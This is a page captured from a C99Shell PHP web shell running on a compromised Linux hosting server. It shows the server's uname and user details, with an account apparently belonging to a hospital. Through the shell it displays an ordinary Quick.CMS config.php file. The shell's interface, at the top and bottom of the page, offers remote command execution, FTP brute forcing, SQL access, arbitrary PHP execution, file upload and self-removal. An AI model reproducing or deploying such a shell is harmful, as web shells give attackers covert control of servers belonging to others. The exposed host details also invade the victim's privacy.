!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/qcms/   drwxr-xr-x
Free 293.39 GB of 429.69 GB (68.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     config.php (13.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* Website's main configuration data language independent
* More: https://opensolution.org/docs/?p=en-settings
*/
unset( $config$lang$aData );

/*
* If a website is under development, leave the DEVELOPER_MODE option enabled
* More: https://opensolution.org/docs/?p=en-settings#DEVELOPER_MODE
*/
define'DEVELOPER_MODE'true ); // comment this line once a website is publishing
if( defined'DEVELOPER_MODE' ) ){
  
error_reportingE_ALL E_STRICT );
}

/*
* Email as login and password used to log in to the administration panel
* Ensure their security. Don't use passwords such as "admin", "1234", "qwerty" etc.
* More: https://opensolution.org/docs/?p=en-settings#login_email
*/
$config['login_email'] = "[[admin_email]]";
$config['login_pass'] = "[[admin_pass]]";

/*
* Setting IP address from which loging in to administration is possible
* More: https://opensolution.org/docs/?p=en-settings#allowed_ip_admin_panel
*/
$config['allowed_ip_admin_panel'] = null// default value: null

/*
* Variable stores skin directory name
* More: https://opensolution.org/docs/?p=en-settings#skin
*/
$config['skin'] = 'default'// default value: 'default'

/*
* Thumbnail sizes and image localizations. When adding a new localization, assign it a number not less than 50
* More: https://opensolution.org/docs/?p=en-settings#images_thumbnails
*/
$config['images_thumbnails'] = Array( 100200300 ); // default value: Array( 100, 200, 300 )
$config['images_locations'] = Array( => 'Left side'=> 'Right side'=> 'Gallery'=> 'No display' ); // default value: Array( 1 => 'Left side', 2 => 'Right side', 3 => 'Gallery', 0 => 'No display' )

/*
* Menu types presented in a form of an array. Key 0 in the variable is reserved for hidden menu!
* More: https://opensolution.org/docs/?p=en-settings#pages_menus
*/
$config['pages_menus'] = Array( => 'Top menu'=> 'Hidden' ); // default value: Array( 1 => 'Top menu', 0 => 'Hidden' )

/*
* Theme settings you can choose from when editing a page
* More: https://opensolution.org/docs/?p=en-settings#themes
*/
$config['themes'] = Array(
  
=> 'page.php'// default value: 1 => 'page.php'
);

/*
* The variable stores default language version. The website will be displayed in this language version until a client changes to another translation
* More: https://opensolution.org/docs/?p=en-settings#default_language
*/
$config['default_language'] = 'en'// default value: 'en'

/*
* Translation of field descriptions and messages in the administration panel
*/
$config['admin_lang'] = 'en'// default value: 'en'

/*
* Administration file name
* More: https://opensolution.org/docs/?p=en-settings#admin_file
*/
$config['admin_file'] = 'admin.php'// default value: 'admin.php'

/*
* Option to disable a WYSIWYG editor (default editor: tinyMCE)
* More: https://opensolution.org/docs/?p=en-settings#wysiwyg
*/
$config['wysiwyg'] = 'tinymce'// possible values: 'tinymce' (default), null

/*
* The variable responsible for disabling link to the currently viewed page in the navigation path
* More: https://opensolution.org/docs/?p=en-settings#page_link_in_navigation_path
*/
$config['page_link_in_navigation_path'] = true// possible values: true (default), null

/*
* If set to true, main page name will be displayed in TITLE
* More: https://opensolution.org/docs/?p=en-settings#display_homepage_name_title
*/
$config['display_homepage_name_title'] = null// possible values: true, null (default)

/*
* The option to remove unused files when a page is deleted
* More: https://opensolution.org/docs/?p=en-settings#delete_unused_files
*/
$config['delete_unused_files'] = true// possible values: true (default), null

/*
* Possibility to display short page description in place of full description, if the page doesn't have a full description
* More: https://opensolution.org/docs/?p=en-settings#short_to_full_description
*/
$config['short_to_full_description'] = true// possible values: true (default), null

/*
* "Drag and drop" zone for adding files to the page
* More: https://opensolution.org/docs/?p=en-settings#enable_files_uploader_dropzone
*/
$config['enable_files_uploader_dropzone'] = true// possible values: true (default), null

/*
* Store allowed extensions of images and other files
* More: https://opensolution.org/docs/?p=en-settings#allowed_not_image_extensions
*/
// Extensions of files - not images
$config['allowed_not_image_extensions'] = 'pdf|swf|doc|txt|xls|ppt|rtf|odt|ods|odp|rar|zip|7z|bz2|tar|gz|tgz|arj|docx'// default value: 'pdf|swf|doc|txt|xls|ppt|rtf|odt|ods|odp|rar|zip|7z|bz2|tar|gz|tgz|arj|docx'
// Extensions of images
$config['allowed_image_extensions'] = 'jpg|jpeg|gif|png|webp'// default value: 'jpg|jpeg|gif|png|webp'

/*
* Size and quality of uploaded files settings
* More: https://opensolution.org/docs/?p=en-settings#max_image_size
*/
// Maximum size of the long side of an image for which a thumbnail will be generated
$config['max_image_size'] = 4000// default value: 4000
// Maximum size of the long side of an image. When the value below is exceeded, the image will be resized to the value defined below.
$config['max_dimension_of_image'] = 1100// default value: 1100
// Quality of the image being saved and resized
$config['image_quality'] = 80// default value: 80

/*
* Changing file name to match the name of the page to which it is added
* More: https://opensolution.org/docs/?p=en-settings#change_files_names
*/
$config['change_files_names'] = null// possible values: true, null (default)

// Default slider setting, find more possible options in the manual: https://opensolution.org/docs/?p=en-design#libraries
$config['default_slider_config'] = 'sAnimation:"fade",iPause:4000'// default value: 'sAnimation:"fade",iPause:4000'

/*
* Srcset sizes informing the browser about the image which is to load for lower resolutions.
* Appropriate additional slider thumbnails will be created according to the sizes set in this variable
*/
$config['slider_srcset'] = Array( 6671024 ); // default value: Array( 667, 1024 )

/*
* Default settings to some of the options
* More: https://opensolution.org/docs/?p=en-settings#default_pages_menu
*/
// PAGE FORMS
// Default page type. Option of the $config['pages_menus']
$config['default_pages_menu'] = 1// default value: 1

// Default page status. If its value is 'true', the page will be visible
$config['default_pages_status'] = true// possible values: true (default), null

// Default parent page. Enter the id of a parent page, or leave it empty if you don't want to set a default parent page
$config['default_page_parent'] = ''// possible values: 'Page ID', '' (default)

// Default localization of a page image. Option of the $config['images_locations'] variable
$config['default_image_location'] = 3// default value: 1

// Default size of a page image thumbnail. Option of the $config['images_thumbnails'] variable
$config['default_image_size'] = 300// default value: 300

// Default theme. Option of the $config['themes'] variable
$config['default_theme'] = 1// default value: 1

/*
* Date format
* More: https://opensolution.org/docs/?p=en-settings#date_format_admin_default
*/
// Date presentation in the administration panel
$config['date_format_admin_default'] = 'Y-m-d H:i'// default value: 'Y-m-d H:i'

/*
* Add time difference (in minutes) between local time and server time
* More: https://opensolution.org/docs/?p=en-settings#time_diff
*/
$config['time_diff'] = 0// default value: 0

/*
* If you want the page name URL address to include a language abbreviation, also add a separator, for example _
* Once you modify this variable, edit any page in administration and save it (you don't have to change anything),
* the page address will be updated and will include language abbreviation and the separator.
* More: https://opensolution.org/docs/?p=en-settings#language_separator
*/
$config['language_separator'] = null// default value: null

/*
* Settings of advanced select field with a search box
* More: https://opensolution.org/docs/?p=en-settings#advanced_select_default_width
*/
// Default field width
$config['advanced_select_default_width'] = '300px'// default value: '300px'
// Width of the larger field - with the adv-select-long class
$config['advanced_select_long_width'] = '520px'// default value: '520px'
// Width of the largest field - with the adv-select-very-long
$config['advanced_select_very_long_width'] = '650px'// default value: '650px'
// Number of items in the select field, above which a search box appears
$config['enable_searching_in_advanced_select_from'] = 20// default value: 20

/*
* Database directory. You can change its name, to do that make sure to read the manual
* More: https://opensolution.org/docs/?p=en-settings#dir_database
*/
$config['dir_database'] = 'database/'// default value: 'database/'
$config['database'] = $config['dir_database'].'database.db'// default value: $config['dir_database'].'database.db'

/*
* List of extensions and classes (CSS styles) assigned to them
* More: https://opensolution.org/docs/?p=en-settings#ext_icons
*/
$config['ext_icons'] = Array( 'rar'=>'zip''zip'=>'zip''bz2'=>'zip''gz'=>'zip''fla'=>'fla''mp3'=>'media''mpeg'=>'media''mpe'=>'media''mov'=>'media''mid'=>'media''midi'=>'media''asf'=>'media''avi'=>'media''wav'=>'media''wma'=>'media''msg'=>'eml''eml'=>'eml''pdf'=>'pdf''jpg'=>'pic''jpeg'=>'pic''jpe'=>'pic''gif'=>'pic''bmp'=>'pic''tif'=>'pic''tiff'=>'pic''wmf'=>'pic''png'=>'png''chm'=>'chm''hlp'=>'chm''psd'=>'psd''swf'=>'swf''pps'=>'pps''ppt'=>'pps''sys'=>'sys''dll'=>'sys''txt'=>'txt''doc'=>'txt''rtf'=>'txt''vcf'=>'vcf''xls'=>'xls''xml'=>'xml''tpl'=>'web''html'=>'web''htm'=>'web''com'=>'exe''bat'=>'exe''exe'=>'exe' );

/*
* Note!
* Variables and code below is directed to advanced users only, we do not recommend to modify it
*/
$config['language_cookie_name'] = defined'CUSTOMER_PAGE' ) ? 'sLanguage' 'sLanguageBackEnd';

if( isset( 
$_GET['sLanguage'] ) && strlen$_GET['sLanguage'] ) == && is_file$config['dir_database'].'config_'.$_GET['sLanguage'].'.php' ) ){
  
setCookie$config['language_cookie_name'], $_GET['sLanguage'], time( ) + 86400 );
  
$config['language'] = $_GET['sLanguage'];
  
$config['current_page_id'] = true;
}
else{
  if( !empty( 
$_COOKIE[$config['language_cookie_name']] ) && is_file$config['dir_database'].'config_'.$_COOKIE[$config['language_cookie_name']].'.php' ) && strlen$_COOKIE[$config['language_cookie_name']] ) == )
    
$config['language'] = $_COOKIE[$config['language_cookie_name']];
  else
    
$config['language'] = $config['default_language'];
}

if( !isset( 
$_GET['p'] ) && !isset( $config['current_page_id'] ) && defined'CUSTOMER_PAGE' ) ){
  
$config['current_page_id'] = getPageId( );
  if( 
is_numeric$config['current_page_id'] ) && isset( $_COOKIE[$config['language_cookie_name']] ) && $config['language'] != $_COOKIE[$config['language_cookie_name']] ){
    
setCookie$config['language_cookie_name'], $config['language'], time( ) + 86400 );
  }
}

require 
$config['dir_database'].'config_'.$config['language'].'.php';
require 
defined'CUSTOMER_PAGE' ) ? $config['dir_database'].'lang_'.$config['language'].'.php' : ( is_file$config['dir_database'].'lang_'.$config['admin_lang'].'.php' ) ? $config['dir_database'].'lang_'.$config['admin_lang'].'.php' $config['dir_database'].'lang_'.$config['language'].'.php' );

if( isset( 
$config['current_page_id'] ) && $config['current_page_id'] === true ){
  
$config['current_page_id'] = $config['start_page'];
}

$config['version'] = '6.8';
$config['manual_link'] = 'https://opensolution.org/docs/?v='.$config['version'].'&amp;p='.( ( $config['admin_lang'] == 'pl' ) ? 'pl' 'en' ).'-';

/*
* Verifies server settings and script's configuration
*/
if( defined'DEVELOPER_MODE' ) ){
  
$sValue = (float) phpversion( );
  if( 
$sValue '7.2' )
    exit( 
'<h1>Required PHP version is <u>7.2.0</u>, your version is '.phpversion( ).'</h1>' );
  elseif( !
extension_loaded'pdo_sqlite' ) )
    exit( 
'<h1>Required <u>PDO</u> library with <u>pdo_sqlite</u> extension is not available</h1>' );
  elseif( !
is_file$config['database'] ) )
    exit( 
'<h1>Required file <u>'.$config['database'].'</u> is not available</h1>' );
  elseif( 
defined'ADMIN_PAGE' ) && ini_get'allow_url_fopen' ) != ){
    exit( 
'<h1>Turn ON <u>allow_url_fopen</u> in PHP configuration (php.ini)</h1>' );
  }
}
elseif( isset( 
$_GET['error'] ) && $_GET['error'] == md5$_SERVER['HTTP_USER_AGENT'].$_SERVER['REMOTE_ADDR'] ) ){
  exit( 
'<h1>This page is temporary unavailable</h1>' );
}

/**
* Returns page id from the $_GET
* @return array
*/
function getPageId( ){
  global 
$config;
  if( !
is_file$config['dir_database'].'cache/links' ) )
    exit( 
'<h1>'.( defined'DEVELOPER_MODE' ) ? 'There is no required file: '.$config['dir_database'].'cache/links' 'This page is temporary unavailable' ).'</h1>' );

  
$config['pages_links'] = unserializefile_get_contents$config['dir_database'].'cache/links' ) );
  if( isset( 
$_GET ) && is_array$_GET ) ){
    foreach( 
$_GET as $mKey => $mValue ){
      if( isset( 
$config['pages_links']['?'.$mKey] ) ){
        
$config['language'] = $config['pages_links']['?'.$mKey][1];
        return 
$config['pages_links']['?'.$mKey][0];
      }
      else
        return ( !empty( 
$mValue ) ? true false );
    }
    return 
true;
  }
// end function getPageId
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0049 ]--